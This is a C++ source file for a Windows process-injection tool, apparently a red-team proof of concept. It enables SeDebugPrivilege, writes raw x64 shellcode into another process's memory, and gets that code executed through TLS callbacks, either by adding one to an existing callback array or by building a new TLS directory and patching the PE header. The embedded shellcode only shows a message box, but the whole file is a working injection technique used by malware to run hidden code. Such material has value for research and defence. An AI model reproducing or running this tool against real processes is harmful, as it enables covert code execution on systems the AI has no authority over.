main.cpp

#include "TLSInject.h"
#include <stdio.h>

/// Add "SeDebugPrivilege" to the current running process by adjusting token privileges and verify the details.
/// NOTE: The verification process is needed because AdjustTokenPrivileges function succeeds even if the privilege is not added
/// This function was borrow from https://github.com/tbhaxor/WinAPI-RedBlue
/// returns TRUE if privilege is added and exists in the query result, otherwise false (also if any function is failed)
BOOL AddSeDebugPrivileges() {
	// Get the current process handle
	DWORD dwPid = GetCurrentProcessId();
	HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
	if (hProc == NULL) {
		printf_s("OP() failed with error: %d\n", GetLastError());
		return FALSE;
	}

	// Get the token handle with query information and adjust privileges access
	HANDLE hTok = INVALID_HANDLE_VALUE;
	if (!OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hTok)) {
		printf_s("OPT() failed with error: %d\n", GetLastError());
		return FALSE;
	}
	else if (hTok == NULL || hTok == INVALID_HANDLE_VALUE) {
		printf_s("OPT() failed with error: %d\n", GetLastError());
		return FALSE;
	}

	// Get the value of SeDebugPrivilege from text
	LUID pDebugPriv;
	if (!LookupPrivilegeValueA(nullptr, "SeDebugPrivilege", &pDebugPriv)) {
		printf_s("LPV() failed with error: %d\n", GetLastError());
		return FALSE;
	}

	// Adjust token privilege 
	TOKEN_PRIVILEGES tokPrivs;
	tokPrivs.PrivilegeCount = 1;
	tokPrivs.Privileges[0].Luid = pDebugPriv;
	tokPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	if (!AdjustTokenPrivileges(hTok, FALSE, &tokPrivs, NULL, nullptr, nullptr)) {
		printf_s("ATP() failed with error: %d\n", GetLastError());
		return FALSE;
	}

	// Query token privileges to confirm whether it was successfully added
	BOOL bRes;
	PRIVILEGE_SET tokPrivSet;
	tokPrivSet.Control = PRIVILEGE_SET_ALL_NECESSARY;
	tokPrivSet.PrivilegeCount = 1;
	tokPrivSet.Privilege[0].Luid = pDebugPriv;
	if (!PrivilegeCheck(hTok, &tokPrivSet, &bRes)) {
		printf_s("PC() failed with error: %d\n", GetLastError());
		return FALSE;
	}

	CloseHandle(hProc);
	CloseHandle(hTok);
	hProc = nullptr;
	hTok = nullptr;

	return bRes;
}

int main(int argc, char* argv[]) {
	if (argc < 2) {
		//print usage instructions
		printf_s("Usage: TLSInject <target pid> <trigger or wait>\nUse PID 0 to spawn a new process (uses conhost.exe).\nSecond arg only matters for a live remote process. A suspended process will trigger on resumption.\n");
		return EXIT_SUCCESS;
	}

	if (strcmp(argv[2], "trigger") != 0 && strcmp(argv[2], "wait") != 0) {
		printf_s("Execution method not recognized. Must be either 'trigger' or 'wait'.\n");
		return EXIT_FAILURE;
	}

	//resolve our native API function pointers
	HMODULE hNTDLL = GetModuleHandleA("ntdll.dll");
	NtQueryInformationProcess = (NTSTATUS(NTAPI*)(HANDLE, DWORD, PVOID, ULONG, PULONG)) GetProcAddress(hNTDLL, "NtQueryInformationProcess");

	DWORD targetPID = atoi(argv[1]);
	CHAR* method = argv[2];

	//just pops a message box and returns. This code will be executed for EVERY new thread. 
	//Proper shellcode would ensure only one instance runs and that it returns to allow the hijacked thread to continue to its entry point. This is left as an exercise to the reader.
	char payload[] = "\x48\x83\xEC\x38\x4C\x8D\x44\x24\x28\x48\x8D\x15\xBB\x01\x00\x00\x48\x8D\x0D\xA7\x01\x00\x00\xE8\x45\x00\x00\x00\x48\x8D\x0D\xB5\x01\x00\x00\xFF\x54\x24\x28\x4C\x8B\x4C\x24\x28\x4C\x8D\x44\x24\x30\x48\x8D\x15\xAB\x01\x00\x00\x48\x8D\x0D\x99\x01\x00\x00\xE8\x1D\x00\x00\x00\x4D\x31\xC9\x4C\x8D\x05\xC1\x01\x00\x00\x48\x8D\x15\x9A\x01\x00\x00\x48\x31\xC9\xFF\x54\x24\x30\x48\x83\xC4\x38\xC3\x48\x81\xEC\x68\x01\x00\x00\x48\x89\x5C\x24\x28\x48\x89\x6C\x24\x30\x48\x89\x7C\x24\x38\x48\x89\x74\x24\x40\x4C\x89\x64\x24\x48\x4C\x89\x6C\x24\x50\x4C\x89\x74\x24\x58\x4C\x89\x7C\x24\x60\x65\x4C\x8B\x1C\x25\x60\x00\x00\x00\x4D\x8B\x5B\x18\x4D\x8D\x5B\x10\x4D\x89\xDF\x4D\x8B\x1B\xFC\x49\x8B\x7B\x60\x48\x89\xCE\xAC\x84\xC0\x74\x26\x8A\x27\x80\xFC\x61\x7C\x03\x80\xEC\x20\x38\xC4\x75\x08\x48\xFF\xC7\x48\xFF\xC7\xEB\xE5\x4D\x8B\x1B\x4D\x39\xFB\x75\xD6\x48\x31\xC0\xE9\xB1\x00\x00\x00\x49\x8B\x5B\x30\x44\x8B\x63\x3C\x49\x01\xDC\x49\x81\xC4\x88\x00\x00\x00\x45\x8B\x2C\x24\x4D\x85\xED\x75\x08\x48\x31\xC0\xE9\x8E\x00\x00\x00\x4E\x8D\x1C\x2B\x45\x8B\x74\x24\x04\x4D\x01\xEE\x41\x8B\x4B\x18\x45\x8B\x53\x20\x49\x01\xDA\xFF\xC9\x4D\x8D\x24\x8A\x41\x8B\x3C\x24\x48\x01\xDF\x48\x89\xD6\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE5\x48\x31\xC0\xEB\x55\x45\x8B\x63\x24\x49\x01\xDC\x66\x41\x8B\x0C\x4C\x45\x8B\x63\x1C\x49\x01\xDC\x41\x8B\x04\x8C\x4C\x39\xE8\x7C\x36\x4C\x39\xF0\x73\x31\x48\x8D\x34\x18\x48\x8D\x7C\x24\x68\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44\x4C\x4C\x00\x4D\x89\xC6\x48\x8D\x4C\x24\x68\x41\xFF\xD1\x4D\x89\xF0\x48\x8D\x4C\x24\x68\x48\x89\xF2\xE9\x08\xFF\xFF\xFF\x48\x01\xD8\x49\x89\x00\x48\x8B\x5C\x24\x28\x48\x8B\x6C\x24\x30\x48\x8B\x7C\x24\x38\x48\x8B\x74\x24\x40\x4C\x8B\x64\x24\x48\x4C\x8B\x6C\x24\x50\x4C\x8B\x74\x24\x58\x4C\x8B\x7C\x24\x60\x48\x81\xC4\x68\x01\x00\x00\xC3\x4B\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x66\x72\x6F\x6D\x20\x69\x6E\x6A\x65\x63\x74\x65\x64\x20\x73\x68\x65\x6C\x6C\x20\x63\x6F\x64\x65\x21\x00\x4D\x65\x73\x73\x61\x67\x65\x00";

	PROCESS_INFORMATION TargetProcessInfo = { 0 };
	PVOID TargetPayloadAddress;
	DWORD PayloadSize = sizeof(payload);
	PVOID TargetImageBase;

	//either create or open the target process
	if (targetPID == 0) { //spawn a new process
		//create suspended conhost.exe
		WCHAR ImagePathSusp[MAX_PATH]; 
		STARTUPINFOW StartupInfo = { 0 };
		
		//Use Rundll32 for an example of a binary w/ no existing TLS directory
		//ExpandEnvironmentStringsW(L"%windir%\\system32\\rundll32.exe", ImagePathSusp, MAX_PATH - 1);
		//use Conhost for an example of a binary w/ an existing TLS directory
		ExpandEnvironmentStringsW(L"%windir%\\system32\\conhost.exe", ImagePathSusp, MAX_PATH - 1);

		if (!CreateProcessW(NULL, ImagePathSusp, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &StartupInfo, &TargetProcessInfo))
		{
			printf_s("CreateProcess() failed with error: %d\n", GetLastError());
			return EXIT_FAILURE;
		}
		else {
			printf_s("Created suspended process %d\n", TargetProcessInfo.dwProcessId);
		}
	}
	else {
		//open the target process
		TargetProcessInfo.dwProcessId = targetPID;
		
		//Enable SeDebugPrivilege if we don't already have it. We might need it depending on the chosen target process.
		if (!AddSeDebugPrivileges())
		{
			printf_s("Adding privilege failed, proceeding anyways. YOLO.\n");
		}

		TargetProcessInfo.hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, NULL, TargetProcessInfo.dwProcessId);
		if (TargetProcessInfo.hProcess == NULL) {
			printf_s("OP() failed with error: %d\n", GetLastError());
			return EXIT_FAILURE;
		}
		printf_s("Opened target process %d.\n", targetPID);
	}
	
	//Allocate memory in target process and write in payload, just going w/ RWX for demo purposes
	TargetPayloadAddress = VirtualAllocEx(TargetProcessInfo.hProcess, NULL, PayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (TargetPayloadAddress == NULL) {
		printf_s("VAEx() failed with error: %d\n", GetLastError());
		return EXIT_FAILURE;
	}

	SIZE_T BytesWritten;
	WriteProcessMemory(TargetProcessInfo.hProcess, TargetPayloadAddress, (LPVOID)&payload, sizeof(payload), &BytesWritten);
	if (BytesWritten < sizeof(payload)) {
		printf("WPM faild with error %d.\n", GetLastError());
		return EXIT_FAILURE;
	}
	printf_s("Payload written into target process at address 0x%p.\n", TargetPayloadAddress);
	
	//Read the target process' PEB to find the ImageBase
	PROCESS_BASIC_INFORMATION ProcessBasicInformation;
	PEBStub64 PEBstub;
	NTSTATUS status;
	DWORD dwReturnLength;
	DWORD* pPEOffset;
		
	//Get the address of the PEB in our target process
	status = NtQueryInformationProcess(TargetProcessInfo.hProcess, 0, &ProcessBasicInformation, sizeof(PROCESS_BASIC_INFORMATION64), &dwReturnLength);
	if (status != 0)
	{
		printf_s("NtQIP() failed with error: %X\n", status);
		return EXIT_FAILURE;
	}
	//Read 18h bytes of the target's PEB
	if (!ReadProcessMemory(TargetProcessInfo.hProcess, (PVOID)ProcessBasicInformation.PebBaseAddress, &PEBstub, sizeof(PEBstub), NULL)) {
		printf_s("RPM() failed with error: %d\n", GetLastError());
		return EXIT_FAILURE;
	}

	TargetImageBase = (PVOID) PEBstub.ImageBaseAddress;
	printf_s("Target process base address is 0x%p\n", TargetImageBase);

	//Next we read the PE headers in the target process
	BYTE ProcessHeaderStub[0x1000]; //Byte array to hold the first 0x1000 bytes of the header. Definitely overkill, but hey.
	PIMAGE_NT_HEADERS64 pNTHeader;
	DWORD* pTLSEntryOffset;

	if (!ReadProcessMemory(TargetProcessInfo.hProcess, TargetImageBase, &ProcessHeaderStub, sizeof(ProcessHeaderStub), NULL)) {
		printf_s("RPM() failed with error: %d\n", GetLastError());
		return EXIT_FAILURE;
	}

	//Read the header to find IMAGE_DIRECTORY_ENTRY_TLS. The offset to the PE header is at 0x3C
	pPEOffset = (DWORD*)&ProcessHeaderStub[0x3C];
	pNTHeader = (PIMAGE_NT_HEADERS)&ProcessHeaderStub[*pPEOffset]; //point our NTHeader pointer to the PE header; this will allow us to read the process header stub w/ normal structures.
	
	pTLSEntryOffset = &pNTHeader->OptionalHeader.DataDirectory[9].VirtualAddress; //IMAGE_DIRECTORY_ENTRY_TLS is the 9th entry in the data directory.
	
	//If there is a TLS directory, the entry offset will be the relative virtual address to it. If there is not one, the entry offset will be NULL.
	if (*pTLSEntryOffset == NULL) {
		printf_s("There is no TLS directory, so we'll build one.\n");

		SIZE_T NumBytesToProtect = 0x100; //just picked this arbitrarily. It'll change the whole page, so as long as this value is < 0x1000, it doesn't matter what it is.
		DWORD dwOldProtect;

		//set up the TLS header we need
		BYTE NewTLS[sizeof(IMAGE_TLS_DIRECTORY64) + 0x18];
		PIMAGE_TLS_DIRECTORY pNewTLS = (PIMAGE_TLS_DIRECTORY)&NewTLS;

		//Here's the structure we'll use:
		//typedef struct _IMAGE_TLS_DIRECTORY64 {
		//	ULONGLONG   StartAddressOfRawData;  //8 bytes
		//	ULONGLONG   EndAddressOfRawData;  //8 bytes
		//	PDWORD      AddressOfIndex;      //8 bytes --> this has to be in a writeable section so the loader can write in the address of the TLS index.
		//	PIMAGE_TLS_CALLBACK* AddressOfCallbacks;  //8 bytes
		//	DWORD       SizeOfZeroFill;   //4 bytes
		//	DWORD       Characteristics;  //4 bytes
		//} IMAGE_TLS_DIRECTORY64;
		//DWORD 0x00000000       //8 bytes - this will be our AddressOfIndex. This is TLSStructBase + 28h
		//PVOID PtrToOurPayload  //8 bytes - we'll use this as the AddressOfCallbacks array. This is TLSStructBase + 30h
		//DWORD 0x00000000       //8 bytes - this will serve as the end of the callback array, and also as the value for all the other TLS items we won't be implementing. This is TLSStructBase + 38h
		//--------------------------------> Total space for everything is 0x40 bytes.

		//The AddressOfIndex has to be located in a writable section, but it also has to be w/in a DWORD offset of the main image's PE header.
		//We're going to request some writable memory just after the main image. In order to do so, we're going to have to find the closest reservable address.
		SYSTEM_INFO si;
		GetSystemInfo(&si);  //need to find the system's allocation granularity.
		
		PVOID AddrToRequest = (PVOID)(pNTHeader->OptionalHeader.SizeOfImage + (ULONGLONG)TargetImageBase); //Get the last address committed for our target image
		//There might be a better way to do this, but it works.
		//We're taking the last address used, then ORing it with the allocation granularity size - 1. That gives us the last address in the current reserved memory block.
		//We then add 1 to get to the first address of the next allocation block, and we'll request our memory there.
		AddrToRequest = (PVOID) (((ULONGLONG) AddrToRequest | (si.dwAllocationGranularity - 1)) + 1);
		printf_s("Target image ends at 0x%p, requesting memory at 0x%p.\n", (PVOID)(pNTHeader->OptionalHeader.SizeOfImage + (ULONGLONG)TargetImageBase), AddrToRequest);
		
		ULONGLONG TLSAddrInTarget = NULL;
		TLSAddrInTarget = (ULONGLONG)(VirtualAllocEx(TargetProcessInfo.hProcess, AddrToRequest, sizeof(NewTLS), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
		if (TLSAddrInTarget == NULL) {
			printf_s("VAEx() failed with error: %d\n", GetLastError());
			return EXIT_FAILURE;
		}

		//Write in the data we need to our buffer
		pNewTLS->StartAddressOfRawData = TLSAddrInTarget + 0x38;
		pNewTLS->EndAddressOfRawData = TLSAddrInTarget + 0x39; //One byte farther than the start
		pNewTLS->AddressOfIndex = TLSAddrInTarget + 0x28;
		pNewTLS->AddressOfCallBacks = TLSAddrInTarget + 0x30;
		pNewTLS->SizeOfZeroFill = 0;
		pNewTLS->Characteristics = 0;
		memset((PVOID)&NewTLS[sizeof(IMAGE_TLS_DIRECTORY)], 0, 0x18);  //zero out the 0x18 bytes at the end of the struct
		memcpy((PVOID)&NewTLS[sizeof(IMAGE_TLS_DIRECTORY) + 0x8], &TargetPayloadAddress, sizeof(PVOID)); //write payload address at end of struct

		//Write the new TLS directory into the target process																								 
		//Add our payload address to the end of the TLS callback array
		if (!WriteProcessMemory(TargetProcessInfo.hProcess, (PVOID)TLSAddrInTarget, pNewTLS, sizeof(NewTLS), &BytesWritten)) {
			printf_s("WPM() failed with error: %d\n", GetLastError());
			return EXIT_FAILURE;
		}
		printf_s("Wrote new TLS directory at 0x%p.\n", (PVOID)TLSAddrInTarget);

		//Calculate the offset value (RVA) to write to the Data Directory TLS RVA
		DWORD TLSRVA = TLSAddrInTarget - (ULONGLONG)TargetImageBase;
		PVOID TLSDirectoryEntryAddress = (PVOID)((ULONGLONG)TargetImageBase + *pPEOffset + 0xD0);  //image base + PE header offset + 0xD0 == IMAGE_DIRECTORY_ENTRY_TLS address in target process

		//Need to change memory permissions to allow writing to the PE header.
		if (!VirtualProtectEx(TargetProcessInfo.hProcess, TargetImageBase, NumBytesToProtect, PAGE_READWRITE, &dwOldProtect)) {
			printf_s("VP() failed with error: %d\n", GetLastError());
			return EXIT_FAILURE;
		}

		//write the address of the TLS directory into the Data Directory
		if (!WriteProcessMemory(TargetProcessInfo.hProcess, TLSDirectoryEntryAddress, &TLSRVA, sizeof(DWORD), &BytesWritten)) {
			printf_s("WPM() failed with error: %d\n", GetLastError());
			return EXIT_FAILURE;
		}
		//write the TLS directory size into the Data Directory
		SIZE_T TLSDirectorySize = sizeof(IMAGE_TLS_DIRECTORY);
		if (!WriteProcessMemory(TargetProcessInfo.hProcess, (PVOID)((ULONGLONG)TLSDirectoryEntryAddress + 0x4), &TLSDirectorySize, sizeof(DWORD), &BytesWritten)) {
			printf_s("WPM() failed with error: %d\n", GetLastError());
			return EXIT_FAILURE;
		}

		//Restore memory permissions as they were.
		if (!VirtualProtectEx(TargetProcessInfo.hProcess, TargetImageBase, NumBytesToProtect, dwOldProtect, &dwOldProtect)) {
			printf_s("VP() failed with error: %d\n", GetLastError());
			return EXIT_FAILURE;
		}

		printf_s("Data Directory RVA for TLS updated to 0x%X.\n", TLSRVA);

	}
	else {  //TLS directory already exists
		printf_s("TLS directory is located at offset %X.\n", *pTLSEntryOffset);

		//Read in the TLS directory. Usually it's located in the .data or .rdata section.
		PVOID TLSDirectoryAddress = (PVOID)(*pTLSEntryOffset + (ULONGLONG)TargetImageBase); //Address is an RVA, so we have to add the base address to get the virtual address.
		IMAGE_TLS_DIRECTORY TLSDirectory;
		PIMAGE_TLS_DIRECTORY pTLSDirectory = &TLSDirectory;
		PIMAGE_TLS_CALLBACK* callback;

		if (!ReadProcessMemory(TargetProcessInfo.hProcess, TLSDirectoryAddress, &TLSDirectory, sizeof(TLSDirectory), NULL)) {
			printf_s("RPM() failed with error: %d\n", GetLastError());
			return EXIT_FAILURE;
		}

		//Read the callback array from the target process.  We're going to aim high and allocate a buffer of 0x100 bytes.
		BYTE TLSCallbackArray[100]; //Byte array to hold 0x100 bytes of the TLS callback array

		if (!ReadProcessMemory(TargetProcessInfo.hProcess, (PVOID)pTLSDirectory->AddressOfCallBacks, &TLSCallbackArray, sizeof(TLSCallbackArray), NULL)) {
			printf_s("RPM() failed with error: %d\n", GetLastError());
			return EXIT_FAILURE;
		}

		callback = (PIMAGE_TLS_CALLBACK*)&TLSCallbackArray;
		if (callback) {
			while (*callback) {  //find the last callback
				callback++;
			}
		}
		//callback should now be pointing to the NULL space after the last callback. This is where we need to add a callback to our payload in the target process.
			//Calculate the right address in the target.
		PVOID AddressToWriteCallback = (PVOID)(pTLSDirectory->AddressOfCallBacks + ((ULONGLONG)callback - (ULONGLONG)TLSCallbackArray));

		SIZE_T NumBytesToProtect = sizeof(PVOID);
		SIZE_T BytesWritten;
		ULONG dwOldProtect;


		//Need to change memory permissions to allow writing.
		if (!VirtualProtectEx(TargetProcessInfo.hProcess, AddressToWriteCallback, NumBytesToProtect, PAGE_READWRITE, &dwOldProtect)) {
			printf_s("VP() failed with error: %d\n", GetLastError());
			return EXIT_FAILURE;
		}

		//Add our payload address to the end of the TLS callback array
		if (!WriteProcessMemory(TargetProcessInfo.hProcess, AddressToWriteCallback, &TargetPayloadAddress, sizeof(PVOID), &BytesWritten)) {
			printf_s("WPM() failed with error: %d\n", GetLastError());
			return EXIT_FAILURE;
		}

		//Restore memory permissions as they were.
		if (!VirtualProtectEx(TargetProcessInfo.hProcess, AddressToWriteCallback, NumBytesToProtect, dwOldProtect, &dwOldProtect)) {
			printf_s("VP() failed with error: %d\n", GetLastError());
			return EXIT_FAILURE;
		}

		printf_s("Payload address added as a new TLS callback (at address 0x%p).\n", AddressToWriteCallback);
	} //end adding callback to existing TLS callback array


	printf_s("TLS Injection is in place.\n");
	//Now we determine if we need to do anything else.

	if (targetPID == 0) {
		//If the process is suspended, we resume it.
		ResumeThread(TargetProcessInfo.hThread);
		printf_s("Resumed target process.\n");
	}
	else if (!strcmp(method, "trigger")) {
		//create a new thread to trigger the callback
		//We'll use the original entry point as the location for the thread to start. Start address doesn't matter, because it'll hit the TLS callback regardless.
		PVOID ThreadStartAddress = (PVOID)(pNTHeader->OptionalHeader.AddressOfEntryPoint + (ULONGLONG)TargetImageBase);
		DWORD ThreadId;
		CreateRemoteThread(TargetProcessInfo.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ThreadStartAddress, NULL, NULL, &ThreadId);
		printf_s("Created thread %d in target process at address 0x%p.\n", ThreadId, ThreadStartAddress);
	}
	else {
		//for everything else, we're done and we just wait for a thread to trigger the callback.
		printf_s("Now we just wait for new thread to trigger the TLS callback.");
	}

	return EXIT_SUCCESS;
} // end main